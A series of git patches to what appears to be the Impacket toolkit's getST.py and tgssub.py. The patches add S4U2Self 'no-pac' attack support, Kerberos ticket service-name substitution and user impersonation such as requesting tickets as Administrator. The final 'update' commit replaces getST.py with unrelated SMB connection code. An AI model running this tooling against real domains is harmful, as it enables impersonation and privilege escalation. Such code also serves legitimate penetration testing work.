component): return component def __str__(self): - return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) - + return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) class KerberosTime(object): INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) @@ -277,7 +270,6 @@ def from_asn1(data): raise KerberosException("timezone in KerberosTime is not Z") return datetime.datetime(year, month, day, hour, minute, second) - if __name__ == '__main__': # TODO marc: turn this into a real test print(Principal("marc")) From 34006d92ef27891cfe5d2cf1e885c851d402b278 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 19:01:32 +0800 Subject: [PATCH 034/152] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 174834d866..9ca133ed8e 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -741,7 +741,7 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - if options.alt_service.split('/') != 2: + if len(options.alt_service.split('/')) != 2: logging.critical('alt-service should be specified as service/host format') sys.exit(1) domain, username, password = parse_credentials(options.identity) From 97d5d35b080a01fef5cb77ead4c51f504ce3d8a1 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 19:16:49 +0800 Subject: [PATCH 035/152] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 22 ++++++---------------- 1 file changed, 6 insertions(+), 16 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 9ca133ed8e..35bedc4072 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -82,21 +82,12 @@ def __init__(self, target, password, domain, options): if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') - def saveTicket(self, ticket, sessionKey,clientName=None, alt_service=None): - clientName=clientName.components[0] - if clientName!=None: - logging.info('Saving ticket in %s_s4u2self.ccache' % clientName) - ccache = CCache() - - ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) - ccache.saveFile('%s_s4u2self.ccache'% clientName) - else: - - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) - ccache = CCache() + def saveTicket(self, ticket, sessionKey, alt_service=None): + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) + ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) - ccache.saveFile(self.__saveFileName + '.ccache') + ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) + ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): if not os.path.isfile(additional_ticket_path): @@ -431,8 +422,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, r = sendReceive(message, self.__domain, kdcHost) if s4u2self: - self.saveTicket(r,sessionKey, clientName, alt_service) - return + return r, cipher, oldSessionKey, sessionKey tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: From a8402e0d3977c12d64021af89198582ea4977db6 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 19:21:03 +0800 Subject: [PATCH 036/152] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 35bedc4072..01dae17c0d 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -676,7 +676,7 @@ def run(self): return self.__saveFileName = self.__options.impersonate - self.saveTicket(tgs, oldSessionKey) + self.saveTicket(tgs, oldSessionKey, options.alt_service) if __name__ == '__main__': From 5ffae1e0be0bd76ae04c5a02aef71cd595007409 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 19:35:26 +0800 Subject: [PATCH 037/152] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 01dae17c0d..f297f5878d 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -731,7 +731,7 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - if len(options.alt_service.split('/')) != 2: + if options.alt_service != None and len(options.alt_service.split('/')) != 2: logging.critical('alt-service should be specified as service/host format') sys.exit(1) domain, username, password = parse_credentials(options.identity) From bdf6c0e9096912845c8e998f4f431b2b631e6ac1 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 19 Feb 2022 13:01:57 +0100 Subject: [PATCH 038/152] Adding altservice feature --- examples/getST.py | 231 +++++++++++++++++++++++++++------------------- 1 file changed, 134 insertions(+), 97 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 6df3522714..a7ca923ea5 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -84,10 +84,43 @@ def __init__(self, target, password, domain, options): self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) + if self.__options.altservice is not None: + cred_number = len(ccache.credentials) + logging.debug('Number of credentials in cache: %d' % cred_number) + if cred_number > 1: + logging.debug("More than one credentials in cache, modifying all of them") + for creds in ccache.credentials: + sname = creds['server'].prettyPrint() + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + if '@' in self.__options.altservice: + new_service_realm = self.__options.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__options.altservice: + new_hostname = self.__options.altservice.split('@')[0].split('/')[1] + new_service_class = self.__options.altservice.split('@')[0].split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__options.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__options.altservice: + new_hostname = self.__options.altservice.split('/')[1] + new_service_class = self.__options.altservice.split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__options.altservice + new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) + logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) + creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): @@ -428,6 +461,15 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + if self.__no_s4u2proxy: + cipherText = tgs['enc-part']['cipher'] + plainText = cipher.decrypt(sessionKey, 8, cipherText) + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + return r, cipher, sessionKey, newSessionKey + if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) @@ -506,129 +548,120 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText - if self.__no_s4u2proxy: - cipherText = tgs['enc-part']['cipher'] - plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey - else: - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encodedAuthenticator = encoder.encode(authenticator) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - encodedApReq = encoder.encode(apReq) + encodedApReq = encoder.encode(apReq) - tgsReq = TGS_REQ() + tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - reqBody = seq_set(tgsReq, 'req-body') + reqBody = seq_set(tgsReq, 'req-body') - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - cipherText = tgs['enc-part']['cipher'] + cipherText = tgs['enc-part']['cipher'] - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey + return r, cipher, sessionKey, newSessionKey def run(self): @@ -664,7 +697,10 @@ def run(self): if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + if self.__no_s4u2proxy and self.__options.spn is not None: + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + else: + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: @@ -699,6 +735,7 @@ def run(self): parser.add_argument('identity', action='store', help='[domain/]username[:password]') parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') + parser.add_argument('-altservice', action="store", help='New sname/SPN to set in the ticket') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' From d056f09e4f6d8b420751a549753a50d3dc9205c5 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 19 Feb 2022 13:19:46 +0100 Subject: [PATCH 039/152] Handling exception where ticket's service is not formatted like class/hotsname --- examples/tgssub.py | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/examples/tgssub.py b/examples/tgssub.py index 4448a82b9f..5040aba4b2 100755 --- a/examples/tgssub.py +++ b/examples/tgssub.py @@ -31,15 +31,23 @@ def substitute_sname(args): ccache = CCache.loadFile(args.inticket) - cred_number = 0 - logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) + cred_number = len(ccache.credentials) + logging.info('Number of credentials in cache: %d' % cred_number) if cred_number > 1: logging.debug("More than one credentials in cache, modifying all of them") for creds in ccache.credentials: sname = creds['server'].prettyPrint() - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') + if b'/' not in sname: + logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") + if '/' not in args.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class = "" + hostname = sname.split(b'@')[0].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + else: + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') if '@' in args.altservice: new_service_realm = args.altservice.split('@')[1].upper() if not '.' in new_service_realm: @@ -76,6 +84,7 @@ def parse_args(): parser.add_argument('-in', dest='inticket', action="store", metavar="TICKET.CCACHE", help='input ticket to modify', required=True) parser.add_argument('-out', dest='outticket', action="store", metavar="TICKET.CCACHE", help='output ticket', required=True) parser.add_argument('-altservice', action="store", metavar="SERVICE", help='New sname/SPN', required=True) + parser.add_argument('-force', action='store_true', help='Force the service substitution without taking the original into consideration') if len(sys.argv) == 1: parser.print_help() From 533b1249178b4553ac6321b16be5cb6693c0bec8 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 19 Feb 2022 13:26:16 +0100 Subject: [PATCH 040/152] Handling exception where `-altservice` is supplied when `-spn` is not --- examples/getST.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index a7ca923ea5..12ba1e4d8d 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -93,9 +93,18 @@ def saveTicket(self, ticket, sessionKey): logging.debug("More than one credentials in cache, modifying all of them") for creds in ccache.credentials: sname = creds['server'].prettyPrint() - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') + if b'/' not in sname: + logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") + logging.debug("Original service is: %s" % sname.decode('utf-8')) + if '/' not in self.__options.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class = "" + hostname = sname.split(b'@')[0].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + else: + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') if '@' in self.__options.altservice: new_service_realm = self.__options.altservice.split('@')[1].upper() if not '.' in new_service_realm: From e93b27315b7f803c0568d493c8af431cc651d7bc Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 22:59:32 +0800 Subject: [PATCH 041/152] update --- examples/getST.py | 1666 ++++++++++++++++++++++++++------------------- 1 file changed, 968 insertions(+), 698 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index f297f5878d..eebfe7ac8a 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,759 +1,1029 @@ -#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache -# If the account has constrained delegation (with protocol transition) privileges you will be able to use -# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to -# request the ticket.) +# Wrapper class for SMB1/2/3 so it's transparent for the client. +# You can still play with the low level methods (version dependent) +# by calling getSMBServer() # -# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) -# -# Examples: -# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user -# or -# If you have tickets cached (run klist to verify) the script will use them -# ./getST.py -k -spn cifs/contoso-dc contoso.com/user -# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets -# by default. -# -# Also, if the account is configured with constrained delegation (with protocol transition) you can request -# service tickets for other users, assuming the target SPN is allowed for delegation: -# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user -# -# The output of this script will be a service ticket for the Administrator user. -# -# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. -# -# Author: -# Alberto Solino (@agsolino) +# Author: Alberto Solino (@agsolino) # -from __future__ import division -from __future__ import print_function -import argparse -import datetime -import logging -import os -import random -import struct -import sys -from binascii import hexlify, unhexlify -from six import b - -from pyasn1.codec.der import decoder, encoder -from pyasn1.type.univ import noValue - -from impacket import version -from impacket.examples import logger -from impacket.examples.utils import parse_credentials -from impacket.krb5 import constants -from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ - Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart -from impacket.krb5.ccache import CCache -from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype -from impacket.krb5.constants import TicketFlags, encodeFlags -from impacket.krb5.kerberosv5 import getKerberosTGS -from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive -from impacket.krb5.types import Principal, KerberosTime, Ticket -from impacket.ntlm import compute_nthash -from impacket.winregistry import hexdump - - -class GETST: - def __init__(self, target, password, domain, options): - self.__password = password - self.__user = target - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = options.aesKey - self.__options = options - self.__kdcHost = options.dc_ip - self.__force_forwardable = options.force_forwardable - self.__additional_ticket = options.additional_ticket - self.__saveFileName = None - if options.hashes is not None: - self.__lmhash, self.__nthash = options.hashes.split(':') - - def saveTicket(self, ticket, sessionKey, alt_service=None): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) - ccache = CCache() - - ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) - ccache.saveFile(self.__saveFileName + '.ccache') - - def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): - if not os.path.isfile(additional_ticket_path): - logging.error("Ticket %s doesn't exist" % additional_ticket_path) - exit(0) +import ntpath +import socket + +from impacket import smb, smb3, nmb, nt_errors, LOG +from impacket.ntlm import compute_lmhash, compute_nthash +from impacket.smb3structs import SMB2Packet, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, GENERIC_ALL, FILE_SHARE_READ, \ + FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_NON_DIRECTORY_FILE, FILE_OVERWRITE_IF, FILE_ATTRIBUTE_NORMAL, \ + SMB2_IL_IMPERSONATION, SMB2_OPLOCK_LEVEL_NONE, FILE_READ_DATA , FILE_WRITE_DATA, FILE_OPEN, GENERIC_READ, GENERIC_WRITE, \ + FILE_OPEN_REPARSE_POINT, MOUNT_POINT_REPARSE_DATA_STRUCTURE, FSCTL_SET_REPARSE_POINT, SMB2_0_IOCTL_IS_FSCTL, \ + MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE, FSCTL_DELETE_REPARSE_POINT, FSCTL_SRV_ENUMERATE_SNAPSHOTS, SRV_SNAPSHOT_ARRAY, \ + FILE_SYNCHRONOUS_IO_NONALERT, FILE_READ_EA, FILE_READ_ATTRIBUTES, READ_CONTROL, SYNCHRONIZE, SMB2_DIALECT_311 + + +# So the user doesn't need to import smb, the smb3 are already in here +SMB_DIALECT = smb.SMB_DIALECT + +class SMBConnection: + """ + SMBConnection class + + :param string remoteName: name of the remote host, can be its NETBIOS name, IP or *\\*SMBSERVER*. If the later, + and port is 139, the library will try to get the target's server name. + :param string remoteHost: target server's remote address (IPv4, IPv6) or FQDN + :param string/optional myName: client's NETBIOS name + :param integer/optional sess_port: target port to connect + :param integer/optional timeout: timeout in seconds when receiving packets + :param optional preferredDialect: the dialect desired to talk with the target server. If not specified the highest + one available will be used + :param optional boolean manualNegotiate: the user manually performs SMB_COM_NEGOTIATE + + :return: a SMBConnection instance, if not raises a SessionError exception + """ + + def __init__(self, remoteName='', remoteHost='', myName=None, sess_port=nmb.SMB_SESSION_PORT, timeout=60, preferredDialect=None, + existingConnection=None, manualNegotiate=False): + + self._SMBConnection = 0 + self._dialect = '' + self._nmbSession = 0 + self._sess_port = sess_port + self._myName = myName + self._remoteHost = remoteHost + self._remoteName = remoteName + self._timeout = timeout + self._preferredDialect = preferredDialect + self._existingConnection = existingConnection + self._manualNegotiate = manualNegotiate + self._doKerberos = False + self._kdcHost = None + self._useCache = True + self._ntlmFallback = True + + if existingConnection is not None: + # Existing Connection must be a smb or smb3 instance + assert ( isinstance(existingConnection,smb.SMB) or isinstance(existingConnection, smb3.SMB3)) + self._SMBConnection = existingConnection + self._preferredDialect = self._SMBConnection.getDialect() + self._doKerberos = self._SMBConnection.getKerberos() + return + + ##preferredDialect = smb.SMB_DIALECT + + if manualNegotiate is False: + self.negotiateSession(preferredDialect) + + def negotiateSession(self, preferredDialect=None, + flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, + flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, + negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): + """ + Perform protocol negotiation + + :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used + :param string flags1: the SMB FLAGS capabilities + :param string flags2: the SMB FLAGS2 capabilities + :param string negoData: data to be sent as part of the nego handshake + + :return: True + :raise SessionError: if error + """ + + # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old + # applications still believing + # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i + # *SMBSERVER's limitations + if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER': + self._remoteName = self._remoteHost + elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER': + # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best + nb = nmb.NetBIOS() + try: + res = nb.getnetbiosname(self._remoteHost) + except: + pass + else: + self._remoteName = res + + if self._sess_port == nmb.NETBIOS_SESSION_PORT: + negoData = '\x02NT LM 0.12\x00\x02SMB 2.002\x00' + + hostType = nmb.TYPE_SERVER + if preferredDialect is None: + # If no preferredDialect sent, we try the highest available one. + packet = self.negotiateSessionWildcard(self._myName, self._remoteName, self._remoteHost, self._sess_port, + self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) + if packet[0:1] == b'\xfe': + # Answer is SMB2 packet + self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, + self._sess_port, self._timeout, session=self._nmbSession, + negSessionResponse=SMB2Packet(packet)) + else: + # Answer is SMB packet, sticking to SMBv1 + self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, + self._sess_port, self._timeout, session=self._nmbSession, + negPacket=packet) else: - decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) - ccache = CCache.loadFile(additional_ticket_path) - principal = ccache.credentials[0].header['server'].prettyPrint() 